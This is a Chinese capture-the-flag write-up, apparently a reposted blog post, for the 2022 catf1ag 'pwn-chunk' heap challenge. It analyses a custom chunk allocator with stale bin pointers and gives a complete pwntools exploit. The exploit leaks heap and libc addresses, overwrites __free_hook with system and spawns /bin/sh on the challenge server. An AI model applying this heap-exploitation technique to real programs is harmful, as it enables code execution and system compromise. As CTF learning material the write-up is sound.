2022catf1ag pwn-chunk

2022catf1ag pwn-chunk wp

这个题感觉只要把程序逆清楚就可以写了。

在这里插入图片描述
常规保护。但是没有canary,可以考虑栈溢出。

标准的菜单题。
在这里插入图片描述

根据题目名称提示,可知本题是模拟了libc的chunk分配,稍加分析,可得到如下结构体:
在这里插入图片描述
然后我们对菜单进行逐个分析。

add
add提供了两种分配方式。一种通过malloc分配,另一种分配时通过判断是否存在bins,若存在,则取出bins的头部。这里并没有对size大小做出限制,且其中chunk的size即为堆块的fd指针位置。
在这里插入图片描述
在这里插入图片描述

delete
这里并未调用free,仅仅将对应的chunk块放入bins中。这里chunk的prev始终指向head_bin,next指向tail_bin,实现单链表的头插法。注意,这里将chunk放入bins的时候,并未将对应的heap[v1]清零。
在这里插入图片描述
clear
将bins全部free掉。这里有一个坑点就是,for循环判断寻找指定chunk时,heap[i]不能为空,否则就会崩掉。也就是删除指定索引i的chunk时,其前heap[i-1]不能为空。笔者比较菜,在这里花费了很长时间,导致比赛时没做出来。
在这里插入图片描述
show
在这里插入图片描述
edit
在这里插入图片描述
经过上述分析,我们可以得到如下思路:

  1. 将申请的堆块delete放入bins中,然后使用add的另一种申请方式,使chunk对应多个heap索引。
  2. 释放掉bins,将chunk的size覆盖为fd,得到edit堆溢出。
  3. 通过堆溢出修改chunk的mem_chunk,泄漏heapbase和libcbase。
  4. 堆溢出修改free_hook为system。
add_heap(0x80)      # 0
add_heap(0x80)      # 1
add_heap(0x80)      # 2
add_heap(0x80)      # 3
add_heap(0x420)     # 4
add_heap(0x80)      # 5

delete(4)
clear()

delete(3)
clear()

delete(2)
delete(1)
delete(0)

add_buffer()    # 3
add_buffer()    # 4
add_buffer()    # 6 == 2

delete(2)
clear()

这里面笔者有个疑问的点,就是在clear掉heap[2]之后,chunk6的mem_chunk变成了tcache结构体地址,也就是说我们可以直接控制tcache结构体。
之后的做题方法就有很多了,可以直接控制tcache结构体实现任意地址分配;也可以直接输入大量字符溢出到栈上执行rop,这也许就是题目没开canary的原因吧。笔者则采用了中规中矩的方法,不断通过edit堆溢出修改free_hook。

在这里插入图片描述详细wp如下:

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './chunk'
elf = ELF(fn)
libc = ELF('./libc-2.31.so')

debug = 1
if debug:
    p = remote('180.76.166.28', 36000)
else:
    p = process(fn)

def menu(index):
    p.sendlineafter('>> ', str(index))


def add_heap(size):
    menu(1)
    menu(1)
    p.sendlineafter('Size:', str(size))


def add_buffer():
    menu(1)
    menu(2)


def show(index):
    menu(4)
    p.sendlineafter('Index: ', str(index))


def edit(index, content):
    menu(5)
    p.sendlineafter('Index: ', str(index))
    p.send(content)


def delete(index):
    menu(2)
    p.sendlineafter('Index: ', str(index))


def clear():
    menu(3)

add_heap(0x80)      # 0
add_heap(0x80)      # 1
add_heap(0x80)      # 2
add_heap(0x80)      # 3
add_heap(0x420)     # 4
add_heap(0x80)      # 5

delete(4)
clear()

delete(3)
clear()

delete(2)
delete(1)
delete(0)

add_buffer()    # 3
add_buffer()    # 4
add_buffer()    # 6 == 2

delete(2)
clear()

payload = p64(0) * 2 + p32(0) + p32(2) + p64(0) + p64(0) * 16
payload += p64(0) + p64(0) + p64(0) * 0x3a
payload += b'/bin/sh\x00' + p64(0xc1) + p64(0x1000)
edit(6, payload)

payload = b'a' * 0x80 + p64(0) + p64(0xc1) + p64(0x1000) + b'\x70'
edit(0, payload)

show(1)
p.recvuntil('data: ')
heapbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x420
log.success('heapbase: ' + hex(heapbase))

payload = b'a' * 0x80 + p64(0) + p64(0xc1) + p64(0x1000) + p64(heapbase + 0x5a0)
edit(0, payload)

show(1)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('leak: ' + hex(leak))

libc_base = leak - 0x1ecbe0
log.success('libc_base: ' + hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + gadgets[0]

payload = b'a' * 0x80 + p64(0) + p64(0xc1) + p64(0x1000) + p64(free_hook)
edit(0, payload)

edit(1, p64(system))

delete(0)
add_heap(0x20)

payload = b'a' * 0x80 + p64(0) + p64(0xc1) + p64(0x1000) + p64(heapbase + 0x420)
edit(0, payload)

edit(1, '/bin/sh\x00')

clear()

p.interactive()

最后再附上打通截图。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_51480590/article/details/128260511
pwn
今日推荐